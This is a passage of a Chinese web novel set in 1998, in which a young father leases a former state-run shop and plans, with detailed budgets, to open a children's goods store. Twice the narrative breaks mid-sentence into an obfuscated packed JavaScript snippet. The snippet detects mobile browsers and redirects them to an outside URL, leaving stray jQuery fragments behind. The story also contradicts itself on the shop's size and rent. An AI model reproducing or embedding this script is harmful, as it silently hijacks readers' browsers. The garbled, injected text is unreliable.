唯独没有一家专门卖儿童用品的——这不就是他要找的“空白”? 街口往里走五十米,一家挂着“转租”木牌的店撞进眼里。 是家国营日杂店,玻璃门上的“国营日杂”木牌掉了半块漆,露出里面的木头底色,风一吹,挂在门后的旧风铃叮当作响,像在叹气—— 这风铃还是以前国营店开业时挂的,现在铃舌都锈了,声音发哑,听得人心头发沉。 玻璃蒙着层灰,用手指一擦能留下一道白印,能看见里面空了大半的货架,货架上的铁架都生了锈,黄褐色的锈迹爬满了架子,一碰就掉渣。 墙角堆着几个破纸箱,上面印着“雪山牌洗衣粉”的字样,红颜色掉了色,露出牛皮纸的本色,箱子都被老鼠咬了几个洞。 木牌上写着个座机号,数字用红漆写的,“3”和“8”掉了两处色,得凑近了才能看清,旁边还歪歪扭扭写着“非诚勿扰”。 林凡抱着笑笑站在对面的树底下,看了半小时——放学时,有不少家长带着孩子从店门口过,有的会往里面瞥两眼,似乎在琢磨这店要做什么。 甚至有个穿碎花裙的妈妈拉着扎羊角辫的孩子说: “要是这儿卖玩具就好了,省得跑老远去市中心买,每次去都得坐公交,孩子还晕车。” 孩子也跟着点头,眼睛盯着空货架,像在想象里面摆满玩具的样子,小手还拉着妈妈的衣角晃了晃。 “爸爸,这里有小朋友。” 笑笑醒了,揉着眼睛指着不远处追逐打闹的孩子,小声音带着点雀跃,还伸手想去抓飘过来的蒲公英,小手指在空中抓了抓,却没抓到,咯咯地笑了。 林凡摸了摸她的头,指尖蹭过她柔软的头发,声音放得很轻,像怕惊着她: “以后咱们在这里开个店,卖好多玩具,还有你喜欢的小熊衣裳,好不好?” 笑笑的眼睛一下亮了,像落了星星,小手拍着林凡的肩膀,力气不大却很欢实: “好!我要粉色的!还要给小熊穿裙子!还要画太阳贴在墙上!” 下午,林凡找了个公用电话亭。 铁皮亭子锈了边,绿色的漆掉了大半,露出里面的铁锈,像块补丁。 里面摆着部黑色座机,按键上的数字都磨白了,“5”键还陷下去一点,得使劲按才能通。他从口袋里摸出枚一元硬币,手指都有点抖—— 这硬币是他早上卖橡皮赚的,攥在手里都暖了。 “叮”的一声,硬币落进盒子里,他拨通了木牌上的电话,手指还在发抖—— 这是他第一次主动联系转租,心里又紧张又期待,怕对方说“已经租出去了”,又怕租金太贵 。 “喂,哪位?” 接电话的是个中年男人,声音带着点沙哑,像没睡醒, 还有点咳嗽,估计是着凉了,说话时还带着点鼻音。 “您好,我看到您那日杂店要转租,想问问情况。” 林凡尽量让声音听起来稳当,不像**躁的年轻人,还特意清了清嗓子,把紧张压下去。 对方听说有兴趣,语气活泛了些,咳嗽声也停了: “哦,你想做啥生意?是卖菜还是卖百货? 明天上午九点来店里谈吧,我在,顺便给你看看房产证,省得你不放心。” 语气里带着点实在,不像耍滑头的人。 挂了电话,林凡心里揣着股热乎劲,像揣了个小暖炉,连脚步都轻快了些。 晚上坐在灯下算账,他把存折摊在桌上,用笔圈出“四万七千二”—— 这钱绝不能动,是老本,也是以后做更大事的种子,要是动了,万一出事,连退路都没有。 棚子里的流动资金有八百六十三块,藏在床板下的铁盒里, 用布包了三层,每次拿的时候都小心翼翼的。 连环画收了五十多本,花了不到一百,最值钱的是那本1962年的《三打白骨精》, 上次有人出价二十他没卖,想着以后留给笑笑。 他计划最多拿出五千块租门面,租金、押金、装修、首批货,每一分都得算着花,像捏着沙子似的,不能漏一点。 比如刷墙的石灰,要选县建材厂的,质量好,一袋五块,两袋就够,能刷完整个墙面; 木匠要找张师傅,上次修棚子的货架,他收费便宜,手艺还好,一天五十,打三排货架最多两天,加上材料,八百块足够了; 铺地面的水泥,选县水泥厂的,一袋八块,六袋四十八块,沙子一方二十块,总共不到七十块。 第二天一早,林凡把笑笑托付给隔壁张婶。 张婶六十岁,头发花白了大半,却很精神,儿子在外地打工,平时喜欢帮邻居看孩子,心地特别好。 上次林凡去市里进货,张婶就帮看过笑笑,还煮了鸡蛋羹给她吃,放了笑笑爱吃的虾皮。 “张婶,今天麻烦您帮我看会儿笑笑,我去谈点事,中午就回来,给您带包子,肉馅的。” 林凡把笑笑的小外套递给张婶,里面还塞了块手帕,怕孩子流鼻涕,又叮嘱道, “她要是饿了,您就给她吃昨天买的饼干,别让她多吃,怕上火。” 张婶正择菜,手里拿着把青菜,叶子上还带着露水,笑着应下: “放心去吧,你跟笑笑说,中午我给她煮鸡蛋羹,放好多虾皮,保证她爱吃。” 笑笑搂着张婶的脖子,小脸蛋蹭了蹭张婶的脸,还不忘跟林凡挥手: “爸爸早点回来!我等你带包子!” 林凡到日杂店时,门虚掩着,能看见里面透出的光。 推开门,一股潮湿的霉味扑面而来,混着洗衣粉的淡香,墙角还有点返潮,墙皮都发绿了,摸上去黏糊糊的。 一个穿旧中山装的男人正蹲在地上清点库存,头发花白,鬓角沾着点灰,中山装的领口磨出了毛边,袖口还缝了块补丁,一看就是过日子仔细的人。 货架上只剩几袋洗衣粉、几块肥皂,孤零零地摆着,洗衣粉的保质期还有半年,肥皂是柠檬味的,包装都皱了,估计放了很久。 “您是赵经理吧?我是昨天打电话的林凡。” 林凡主动递过手,掌心带着点汗—— 昨天晚上没睡好,手心总出汗,怕对方看出来,还在裤子上擦了擦。 赵经理站起身,拍了拍裤子上的灰,伸手跟他握了握——手指关节粗大,掌心全是老茧,像摸在砂纸上,估计以前干过重活。 他上下打量林凡,眼神里带着点惊讶: “你这么年轻?看着才二十出头,想做啥生意?我还以为是中年人来租呢,年轻**多不愿意干这种小买卖。” “开家儿童用品店,卖玩具、衣裳、文具,这附近缺一家像样的。”林凡没隐瞒,这事儿藏不住,指了指窗外, “您看,这附近三个家属院,还有小学,孩子多,肯定有生意。上次我来的时候,还有家长说想在这儿买玩具呢。” 赵经理点点头,叹了口气: “确实缺,以前常有家长来问有没有孩子穿的衣裳、玩的玩具,可咱们是日杂店,只卖洗衣粉、肥皂这些,满足不了人家。 这店二十二平,后面带个小仓库,有五平,能放货,还能堆点杂物,不用占店里的地方。 以前是国营的,我在这儿干了十年,从二十多岁干到现在,现在公司要改制,说这店不赚钱,客流量少,就让转租。” 他顿了顿,语气里带着点不舍,“其实我也不想转,可没办法,公司有规定。” 1998年县城里不少国营小店都在改制 有的关了门,有的转租,像西街的国营粮店就改成了超市,东街的国营书店也转租给了卖文具的,主要是国营店效率低,进货慢,价格还高,跟不上老百姓的需求。 林凡听老吴说过,国营店进货得层层审批,有时候热门的货半个月都进不来,等进来了,早就没人要了。 “租金嘛,一年一千二,押三付一,第一次得交四百块—— 押金三百,首月租金一百。” 赵经理报了价,眼神里带着点试探,似乎在看林凡的反应。 这个价比林凡预估的高了一百,他心里快速算了算—— 一千二一年,每月就是一百,比市中心便宜一半,还是能承受,但能省一点是一点。 他没立刻应,指着墙面说: “赵经理,您看这墙皮,掉得能看见里面的青砖,我得买石灰重新刷,还得买腻子补缝,这就得两百多; 货架也得全换,这些旧货架太矮,才一米二,摆不了多少货,我得打一米八的,材料和工钱都得花钱; 而且这位置不算街口,人流比街口少一半,您看租金能不能再让让?” 他又指了指门口的台阶,台阶裂了道缝,有两指宽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607485|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下雨天容易积水: “这台阶裂了缝,下雨天容易滑,我还得找水泥补,一袋水泥八块,最少要两袋,这些都是额外的开支,我这刚创业,实在不容易。” 赵经理皱着眉,围着店转了一圈,手指敲了敲墙面,“咚咚”响,又看了看林凡真诚的眼神—— 那眼神里没虚头,全是想做事的劲,不像之前来问的人,要么嫌贵要么挑三拣四,还想压价压得离谱。 他最终叹了口气: “行吧,年轻人创业不容易,我也不跟你多要。 第一年租金降到一千一,押金不能少,三百块,首月租金一百一,总共四百一。” 他顿了顿,补充道,“以后每年租金涨多少,咱们再商量,但我不会涨太多。” 林凡心里一松,比预算少了三十块,够买两袋石灰,或者给笑笑买两罐水果糖。 但他没露喜,假装犹豫了会儿,又提了个要求: “赵经理,我想签三年合同,而且得在合同里写明,三年内租金涨幅不能超过每年百分之五。” 他知道,再过两年,县城的租金就得涨—— 去年东街的门面就涨了百分之十,现在把话写死,以后不用跟人扯皮,也能少花冤枉钱。要是每年涨太多,他的利润就薄了,说不定还得赔钱。 赵经理摸了摸下巴,琢磨了会儿—— 三年租约稳定,不用总找下家,他也能早点去公司报道,不用天天守着这空店; 百分之五的涨幅也合理,比物价涨得慢不了多少,去年县城的物价涨了百分之六,这个涨幅不算高。他点了点头: “行,就按你说的来。明天你带身份证、钱,咱们去居委会签正式合同,我再把钥匙给你,顺便把水电费结清,省得你后续麻烦。” 走出日杂店时,阳光正好,晒在肩膀上暖得能化开心里的冰疙瘩。 林凡攥了攥口袋里的存折,指尖都透着劲—— 原来从“摆摊的”到“开店的”,就差这一步迈出去的勇气。 以前总怕这怕那,现在真的谈成了,反而觉得心里踏实了。 可走了没两步,心里又沉了沉:装修得找张师傅,得提前量好货架尺寸,长两米、宽四十厘米最合适,太高了孩子够不着,太宽了占地方; 进货得跑趟市里,得提前列好清单,儿童衣裳要拿1-3岁的,男孩女孩的都得有,每种款式拿五件,卖得好再补; 玩具要拿积木、玩偶,不能拿太硬的,怕孩子磕着;营业执照得去工商变更,要带身份证、租赁合同,说不定还得跑两趟,上次老吴就跑了三趟才办下来。 最担心的还是黑皮,要是他知道自己开了店,会不会来闹得更凶? 上次只是摆棚子,黑皮就常来捣乱,开了店说不定更过分,觉得自己赚了钱,能榨出更多“油水”。 邻街开杂货店的老吴,刚开店的时候也被地痞找过麻烦,后来他联合了旁边几家店,一起去派出所备案,还跟街道办签了“商户联防”的协议,之后地痞就不敢来了。 林凡想着,以后也得跟旁边的店搞好关系,万一有事,也好有个照应。 他深吸一口气,脚步却没停。 开弓没有回头箭,既然决定破局,就不能怕麻烦。 他得赶紧回家,把装修要办的事列个清单,还得告诉王猛—— 那个憨直的兄弟,昨天还说要帮他搬货,以后店里少不了他的力气,得跟他说说,让他帮忙看着装修,别让人偷东西,也别让人来捣乱。 走到巷口,远远就看见王猛在棚子门口张望,胳膊肘撑在柜台上,脖子伸得老长,像只等着喂食的大雁。 看见林凡,他嗓门一下就亮了,手挥得像小旗子: “凡子!咋样?找着地方没?是不是跟我说的一样,小学附近好? 我就说那儿孩子多,肯定适合开儿童用品店!” 林凡笑着点头,声音里都带着劲: “找着了,明天签合同。二十多平,还带个仓库,以后咱们就有正经店了,不用再蹲这棚子里受冻了!” 王猛一听,高兴得跳起来,嗓门大得能惊动隔壁的修鞋师傅—— 修鞋师傅正低着头钉鞋跟, 闻言探出头看了一眼,也笑着点头,还朝林凡竖了竖大拇指。 王猛跑过来,手拍在林凡肩膀上,力道大得让他晃了晃: “真的?太好了!以后再也不用怕黑皮踹门了!我这就去跟张师傅说,让他明天就来量尺寸,他昨天还跟我说,要是你开店,他免费帮你修一次货架,说你是实在人!” 林凡拍了拍他的手,没说话——他知道,这只是破局的第一步。 装修时要盯着石灰别掺假,有的商家会在石灰里掺沙子,刷出来的墙容易掉皮; 进货时要挑质量好的,不能拿次品,不然砸了招牌; 开业后要防着黑皮捣乱,得提前跟派出所备案; 还要跟周围的邻居搞好关系,互相有个照应。 这些都还在后面等着,像一座座小山头,得一个一个翻过去。 但他低头看了看掌心,那上面还留着握存折的温度, 像握着笑笑的小手似的,透着安稳。 他抬头看了看天,太阳正慢慢爬高,照在路边的杨树上,叶子晃着光,心里想着: 以后不管再难,只要能让笑笑有个不漏雨的家,能让她不用再怕黑皮、钱老西,再累也值了。 他甚至开始琢磨店名,“笑笑宝贝屋”这几个字在心里过了一遍,觉得又暖又亮,像揣着个小太阳。 至少, 他已经朝着“给笑笑一个不漏雨的家”的方向,稳稳地迈出去了。 第二十章: 新起点 与赵经理在日杂店后屋敲定租约时,窗外的暮色已经漫过街角的梧桐树梢,把后屋堆得半人高的搪瓷盆、肥皂盒都染成了暖褐色。 赵经理手指夹着支皱巴巴的香烟,烟灰时不时掉在租约草稿上,留下星星点点的黑痕;他说话时带着烟嗓,每说一句就抿口搪瓷杯里的浓茶,杯沿的茶渍厚得能刮下一层。 林凡把那张打印着密密麻麻条款的租约草稿叠了三层——指尖能摸到纸页边缘沾着的茶水印,潮乎乎的; 小心揣进贴胸的内兜。那纸页像块刚从铁匠铺里捞出来的烙铁,隔着洗得发白的的确良衬衫,都能烫得他心口发紧,连呼吸都不敢太用力,怕把这“希望”折坏了。 他走出日杂店时,街面上的路灯刚亮。 老式钠灯的昏黄光线透过梧桐叶缝隙洒下来,在地上织成零碎的光斑,踩上去像踩着星星点点的暖玉。 往筒子楼走的路上,他特意绕开了平时常去的那家馒头铺;铺子里飘出的白面香勾得他肚子直叫,但今晚实在没心思买晚餐。 满脑子都是“中心小学隔壁十三平米”“月租一百二”“三年租约”这些字眼,像走马灯似的转个不停,连脚步都比平时快了半拍。 筒子楼还是老样子: 楼道口堆着邻居张婶家的旧煤炉,炉口沾着黑煤渣,旁边立着半袋没烧完的蜂窝煤,煤屑撒了一地; 墙面上爬满了雨水冲刷出的黑印子,像蜿蜒的小蛇从一楼爬到三楼,那是去年雨季漏雨留下的痕迹; 连声控灯都照旧“哑”着——林凡故意咳了两声,又重重跺了跺脚,头顶的灯泡“滋啦”响了一下,勉强亮了半秒; 照见楼梯转角堆着的旧纸箱(上面印着“雪花膏”,是张婶去年用完的),然后就彻底没了动静。 浓得化不开的黑裹着墙皮剥落的霉味、隔壁张婶家飘来的白菜炖豆腐味,还有楼道深处公共厕所的淡淡异味,一股脑往鼻子里钻。 他贴着冰冷的墙根慢慢挪,每走一步都能听见鞋底蹭过台阶青苔的沙沙声——青苔滑腻,偶尔会带起一点绿色的碎末粘在鞋边。 怀里的租约草稿被手心的汗浸得发皱,边角都软了,他却攥得比什么都紧,这可是他和笑笑攒了大半年的希望。 稍一松劲,就怕像上次摆摊时被风吹走的零钱似的,打着旋儿飘远,再也抓不住。 他没先去找在棚子看摊的王猛,反倒掏出钥匙,把自己关进了那间只有六平米的小屋。 15瓦的灯泡悬在房梁上,昏黄的光裹着浮尘晃悠,照得木桌上的旧闹钟指针“滴答”声都格外清晰,像在数着他心里的期待。 他从抽屉里翻出笑笑用剩下的半本笔记本——封面还贴着张歪歪扭扭的贴纸,是笑笑用彩笔涂的小太阳,太阳光芒是粉色的——又摸出一支圆珠笔,笔尖顿在扉页上,迟迟没落下。 直到窗外传来邻居家孩子哭闹着要塑料玩具的声音(那孩子每天这个点都要闹,家长总哄“明天买”),他才深吸一口气,重重落下笔——“门店启动计划”五个字透了纸背,墨痕在灯光下泛着亮,像在替他攥着劲。 铅笔被他攥得指节发白,指尖蹭得起了毛边,连“买石灰要选整块的,比袋装粉省两毛钱”“地板革要选厚点的; 孩子踩上去不凉脚、不硌脚”这种小事,都一笔一划记得分明,仿佛多漏一个字,新店就会差上千里——他太怕出错了,这是他和笑笑离“安稳”最近的一次。 第一步:资金调配——每一分都要攥出水来 床板下的铁盒早被磨得发亮,盒身上印的“牡丹”图案褪得只剩淡淡的轮廓,边缘的漆皮掉了大半,露出里面的铁皮,上面还留着笑笑小时候用彩笔涂的红点点。 他蹲在床边,手指抠开生锈的搭扣,“咔嗒”一声,金属摩擦的声响在小屋里格外清楚。 铁盒里的钱用橡皮筋扎了三层:最大的票子是十块的,一共二十张,每张都压得平平整整,没有一丝褶皱——那是他每次收取和支付清点后,立刻掏出来抚平叠好的; 五块、一块的散票压在下面,其中一张五块的缺了个角,是上次帮菜市场李叔搬菜筐时,李叔找零给的,他特意用透明胶带粘好了边; 最底层是一毛、两**的钢镚,用旧报纸包着,沉甸甸的,报纸都被钢镚磨得发亮。 他把钱倒在桌上数了三遍:第一遍用手指点,每张钱都要捏实了,怕漏数; 第二遍用铅笔在纸上划勾,十块的画“○”,五块的画“△”,钢镚按“十个一摞”摆好;最后一遍连钢镚都挨个摞起来,数到“五百”时,他长长舒了口气——不多不少,正好五百块。 这五百块是他和笑笑省了整整三个月的活命钱:早餐他从来舍不得买五毛钱一根的油条,每天揣两个两毛钱的馒头,揣在怀里捂热,就着公共水龙头的凉水咽下去,喉咙里总泛着点凉丝丝的疼; 笑笑的铅笔用到只剩两厘米长,他就找了截小木棍,用橡皮把铅笔头绑在上面,笑笑握在手里硌得慌,却从来没说过疼,作业本正面写完写反面,连老师发的练习纸边角都要裁下来当草稿; 夏天再热,气温飙到三十多度,他都没给笑笑买过一毛钱的冰棍,渴了就去公共水龙头接凉水,倒在旧搪瓷杯里,晾温了给笑笑喝。 他把钱分成两摞:四百四十块用红纸包着——这是赵经理要求的首月租金(一百二)加押金(三百二),一分都不能少。 红纸是上次邻居结婚时送的,他一直没舍得用;剩下的六十块折成小方块,塞进内兜最里层,指腹反复蹭着纸币上的“工人头像”纹路,心里默念: 万一签合同时要补上个月的水电费,或者路上买点东西,这点钱就是救命的。 “明天单独去签合同,不叫王猛。” 他对着笔记本轻声说,笔尖在“单独”两个字下面画了道横线,墨痕都晕开了。 “先把钥匙拿到手,免得夜长梦多——猛子性子急,上次黑皮来闹,他差点跟人动手,这次怕他跟着瞎紧张,坏了正事。” 他又从抽屉里翻出笑笑的照片——是去年过年时在照相馆拍的,十块钱一张,笑笑穿着洗得发白的蓝棉袄,手里攥着块硬糖(是他特意买的,五毛钱一块),笑得露出两颗小虎牙,嘴角还沾着点糖渣。 他把照片夹在笔记本里,照片边缘蹭着纸页,心里像被暖水浸过:这五百块,不仅是房租,更是笑笑能在亮堂堂的店里玩积木的希望,绝不能出岔子。 第二步:装修规划——省钱也要暖得像家 林凡在笔记本上写了行加粗的字,笔尖都快把纸戳破了:“核心目标:让孩子进来就不想走,让家长觉得放心。” 他太清楚以前的棚子有多糟了——帆布顶漏雨,一到下雨天,地面全是水洼;墙是黑的,连灯泡都只有15瓦,家长带孩子来都匆匆忙忙,怕孩子磕着碰着,更怕环境不好影响孩子。 这次新店必须不一样——得像“家”一样,干净、亮堂,还得有温度,让孩子愿意待,家长愿意信。 墙面:自己刷,省料又暖心 墙面自己刷是定了的——他前几天去巷口的建材店问过,袋装石灰要十块钱一袋,整块的石灰八块钱能买一大块,足够刷完十三平米的墙面,还能剩点补墙缝。 建材店老板是个五十多岁的大叔,舀了点米黄色涂料在白纸上,晒干后是淡淡的暖黄,像春天晒过的被子颜色,老板说: “这色儿显亮,不刺眼,孩子进来看了不压抑,而且便宜,十五块钱一桶,够你刷两遍。” 他特意在笔记本上画了个小房子,墙面涂成浅黄,旁边写着:“刷两遍!第一遍补墙缝(用剩下的石灰混点胶水,建材店老板送了小半桶,说‘补完不裂’), 第二遍刷均匀,从下往上刷,免得石灰水流下来留印子,刷完后通风一天,怕有味道。” 地面:二手地板革,软乎又省钱 水泥地不用铺瓷砖——铺瓷砖得花好几十,还得请人贴,工费就要二十块,不划算。他计划先把水泥地扫干净,撒点清水(免得扬灰),等干了再铺块二手地板革。 上次去旧货市场,他在一个倒闭的童装店摊位前停住了——那有块二手地板革,上面印着小鸭子图案,有的地方颜色有点淡,但没破洞、没裂纹,摸起来厚得能捏出纹路。 老板要二十五块,他磨了半天,说:“我开儿童店,孩子踩上去要软乎,你这地板革刚好,二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607486|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块我就拿,以后我进货还来你这。” 老板看他实在,才松口答应。他还特意量了尺寸,两米宽、六米长,刚好能铺满十三平米的店,边角料还能裁下来补桌子腿的缝隙,一点不浪费。 灯光:亮堂是关键,不省这点钱 灯光是重点——以前棚子用的15瓦灯泡,暗得像快灭的蜡烛,孩子选文具时,连橡皮上的卡通图案都看不清,有的家长还以为是橡皮质量差。 这次他要换两根40瓦的日光管,装在天花板正中间,亮到能照见货架上橡皮的纹路才好。 五金店的老板拍着胸脯说: “40瓦的日光管是最亮的民用管,比你那15瓦的亮三倍,两根装上去,你这店白天不用开灯都亮!” 他问了价,日光管十二块钱一根,加上塑料灯座,总共二十块钱——比买灯泡贵点,但值。 他在笔记本上写:“灯座要选质量好的,免得漏电,孩子安全第一。” 货架:旧货市场淘,刷漆变新样 货架去旧货市场淘——他早就打听好了,旧货市场里有不少倒闭店铺剩下的旧柜台,带玻璃门的最适合放文具,防尘还好看。 上次去问过一个老板,有个深棕色的旧柜台,玻璃门有点模糊,但没裂,木质框架也没虫蛀,老板要六十块。 他蹲在柜台前,敲了敲玻璃,听了听声响,又摸了摸木质框架,跟老板磨了半个钟头: “我开儿童店,赚点辛苦钱,五十块行不行?我还帮你把旁边的废铁挪到墙角,省得你费力。” 老板被他说动了,松口说 “五十就五十,你扛走吧”,还送了个旧锁,说“锁柜台用,免得孩子乱翻”。 他打算回来刷层深褐色的油漆——五金店八块钱一桶的那种,刷完后木纹理能透出来,看着就结实,孩子扒着玻璃看也不怕坏。 他还淘了四个开放式铁架货架,铁架上的锈迹用砂纸磨掉,刷层同色油漆,就能当童装货架,老板要三十五,他砍到三十,说“我再买你一卷砂纸,算抵五块”,老板笑着答应了。 门头:第一面镜子,不能省 门头的钱不能省——他订了块一米宽、半米高的白底招牌,请巷口修鞋的老张写“笑笑宝贝屋”五个字。老张写毛笔字是出了名的,以前街坊邻居办喜事,都找他写对联。 林凡特意嘱咐:“字要写得圆乎乎的,像孩子的笑脸,别太刚硬,颜色用红色,喜庆。”还添了行小字“儿童用品专营”,下面再画个小太阳,太阳的光芒用朱砂点一点。 老张算了算,说做招牌要六十块钱——木板、白漆、红漆、朱砂,都是成本。林凡咬咬牙答应了——这是给顾客的第一面镜子,得亮堂,得让人一眼就记住,知道这是给孩子开的店。 他在笔记本上画了个小招牌,旁边写:“招牌要钉牢,免得刮风掉下来砸到人。” 他把算好的数写在页边,用铅笔反复加了三遍:石灰八块+涂料十五块+地板革二十块+日光管(含灯座)二十块+旧柜台五十块+油漆八块+招牌六十块=两百七十三块。 他在“两百七十三块”下面画了个圈,旁边写着:“卡死在三百以内,多一分就从下个月的伙食费里省——早餐馒头减一个,改成一个馒头,我少吃点没事,不能亏了笑笑。” 第三步:货源升级——从“凑活卖”到“往心里选” 以前棚子卖的都是最便宜的货:橡皮一擦就掉渣,孩子擦作业时,纸面上全是黑屑;积木边缘有毛刺,有的孩子玩时还被扎到过手; 童装是化纤的,孩子穿了容易痒,夏天还不吸汗。这次林凡打定主意要改——“要做就做家长放心的货,哪怕赚得少点,也能留住人。要是货不好,砸了招牌,以后就没生意了。” 他在笔记本上画了三栏,用不同颜色的笔标注(红色是文具,蓝色是童装,绿色是休息区): 左栏(文具玩具区):安全第一,孩子喜欢 橡皮:选“真彩”的卡通橡皮,上次去市里批发商那问过,这种橡皮擦得干净还不粘纸,进价四**五一块,卖六**。 他特意拿了块小熊形状的样品,在手里捏了捏,软乎乎的,找了张废纸试了试,擦完后纸面 第二十一章:新战场 积木:选块大的原木色积木,每块都打磨过,边缘圆润,没有毛刺。 进价三块钱一套,卖五块。他把积木搭成小房子,轻轻晃了晃,很稳,不会掉下来,还特意让笑笑试玩了一下,笑笑说“比以前的积木软”,他才定下来。 水彩笔:选十二色的,笔帽上有卡通图案(小熊、小兔),孩子喜欢。进价一块五,卖两块五。他打开笔帽,在纸上画了道线,颜色鲜亮,还不晕染,比以前卖的“漏墨水”水彩笔强多了。 中栏(童装童鞋区):舒适为主,家长安心 童装:布料必须是棉的,至少七成棉。 他去批发市场摸了好几家,有的布料看着像棉,其实掺了化纤,他就用打火机烧了点线头——能烧成灰、没有黑烟的才要。 童装是圆领的,袖口宽松,不会勒孩子的胳膊,进价十五块一件,卖二十五。他还选了几件带小图案的(小太阳、小花朵),笑笑说“好看”,他就多拿了五件。 童鞋:选软胶底的,鞋底厚度有一厘米,弯折十几次都能弹回来,不会变形。鞋头是圆的,不会挤孩子的脚趾,鞋面是帆布的,吸汗。进价八块,卖十二块。 他特意试穿了一下(虽然有点小),走起来很舒服,没有硌脚的地方,比以前卖的硬底鞋强太多。 右栏(休息区):暖心细节,留住顾客 留个两平米的角落,放个从旧货市场淘的旧桌子(十块钱)和两把旧椅子(五块钱),摆个保温桶盛现煮的橘子水。 橘子是在菜市场收的尾货,表皮有点皱,但果肉很甜,五块钱一大袋,能熬好几桶。熬的时候放两勺冰糖,熬到橘子皮都软了,晾温了喝,甜而不腻,孩子爱喝。 再进点小蛋糕,是附近面包店的尾货,当天做的,晚上七点后便宜卖,进价五**一个,卖一块。蛋糕很松软,里面还有葡萄干,孩子肯定喜欢。 他想: 家长带孩子来,就算不买东西,也能歇脚喝杯橘子水,吃块小蛋糕,显得亲切,下次说不定就来买东西了。 他还在页脚写了进货原则:“只拿五百块的货,卖完再补,绝不能压钱。” 以前在棚子,他贪多进了太多货,最后卖不出去只能亏本甩卖,有的积木放久了还受潮变形,这次得吸取教训。 他列了详细的进货清单:橡皮50块(111块)、积木20套(60块)、水彩笔30盒(45块)、童装20件(300块)、童鞋15双(120块)——算下来刚好475块,剩下25块留着应急,卖完这些再补,绝不多进。 他还计划下次去市里,跟批发商磨“真彩”文具的长期代理价: “要是能谈到四**一块橡皮,一盒水彩笔一块三,就能多赚点,以后还能进点‘真彩’的油画棒,孩子肯定喜欢。” 另外,他还想订两箱AD钙奶,每箱二十四瓶,进价八**一瓶,卖一块二——有牌子的东西,家长看着放心,孩子也爱喝,还能带动其他货的销量。 第四步:人手足——跟王猛交实底 林凡知道,新店离不开王猛。王猛比他大两岁,以前在工地干苦力,搬一块砖两分钱,一天要搬两千多块,累得腰都直不起来,工资还经常拖; 后来工地没活了,就来他的棚子帮忙,每天从早上八点守到晚上十点,管两顿饭,一个月一百二,从来没抱怨过。 有次林凡发烧,晚来的两个小时,王猛不仅帮着整理货物,还主动帮顾客找东西,把橡皮按颜色分好,把积木摆整齐,连地上的纸屑都扫干净了。 棚子之所以能撑到现在,王猛的踏实功不可没——林凡早就想给王猛涨工资了,只是以前棚子赚得少,没底气。 他在笔记本上写: “给王猛涨工资,从每月一百二涨到一百八,再加提成——多卖五十块提五块。” 他算过,以前王猛在工地,一个月最多四百块,但不稳定,有时候干半个月就没活了; 现在一百八加提成,要是一个月能卖两千块,王猛就能拿到一百八+(2000÷50×5)=三百八,比在工地稳定多了,足够他母亲的医药费(每个月两百多)还有结余。 他还打算跟王猛说,以后新店的日常运营就靠他——看店、整理货物、跟顾客打交道; 自己腾出手跑手续、找货源,还得跟街道、工商打交道,比以前忙十倍,但心里踏实: “终于不是飘着的棚子了,是有根的店,以后咱们也是‘正经商户’了。” 他想象着跟王猛说这事的场景: 王猛肯定会激动得拍胸脯,说 “凡子,你放心,我肯定好好干”—— 上次王猛母亲生病,林凡借了他两百块,王猛一直记着,干活更卖力了。 这次涨工资加提成,不仅是对王猛的认可,更是两人一起把店做好的底气; 他知道王猛靠谱,是能一起扛事的兄弟。 第五步:手续和关系——先把“规矩”立稳 “手续不能拖,拖一天就多一天风险。” 林凡在笔记本上画了个醒目的小勾,旁边列了个清单,每个条目后面都打了个小方框,准备办完一项勾一项: 1.营业执照地址变更 明天去工商所提交材料,带租赁合同(双方签字按手印)、旧执照(原件,不能是复印件)、身份证(正反面复印件),一个都不能漏。 他上次去工商所咨询时,办事员姓张,三十多岁,戴个眼镜,说话很耐心,把需要的材料一条一条写在纸上,还标了注意事项:“租赁合同要写清楚地址、租期、租金,不能漏项; 旧执照要是有损坏,得先补再变更。”林凡把那张纸夹在笔记本里,都快翻烂了,还在旁边写了张办事员的电话,怕到时候有问题能咨询。 2.新街道“拜码头” 带包红塔山烟(五块钱一包,当时的中档烟),去找街道的周干事。 李干事(以前在棚子片区认识的街道干事)跟他说,周干事五十多岁,喜欢抽烟,以前也是穷苦人,对年轻人创业很照顾,“你客气点,说‘以后请多关照’,他肯定会帮你留意的”。 他还打算跟周干事提一句:“店里以后会经常有孩子来,能不能帮忙留意下周边的安全,比如有没有流浪狗,或者路边的井盖有没有坏——孩子小,怕出事。” 他想,跟街道处好关系,以后有什么事也能有个照应,比在棚子时“没人管”强。 3.处好邻居 “远亲不如近邻,真有事了,邻居能帮上大忙。” 他在笔记本上写。隔壁要是小吃店,偶尔送袋小饼干(从进货的蛋糕里拿两三个); 要是卖五金的,下次买钉子多问两句,跟老板熟络熟络; 要是有带孩子的邻居,开业时送块橡皮,让孩子喜欢,家长也能记住。 以前在棚子,邻居张婶偶尔会送碗热粥,李叔会帮着看摊,这次新店的邻居,他也想处好—— 比如隔壁小吃店的老板,要是孩子家长饿了,还能推荐去吃,互相带生意,比互相提防强。 最后:风险应对(画了个小三角,提醒自己重点看) 黑皮要是来闹:先找片警,别硬扛。 上次黑皮来棚子要保护费,片警来了就吓跑了,这次有正经店面,更不能跟他硬碰硬——犯不着跟地痞置气,万一伤了人,店就开不成了。 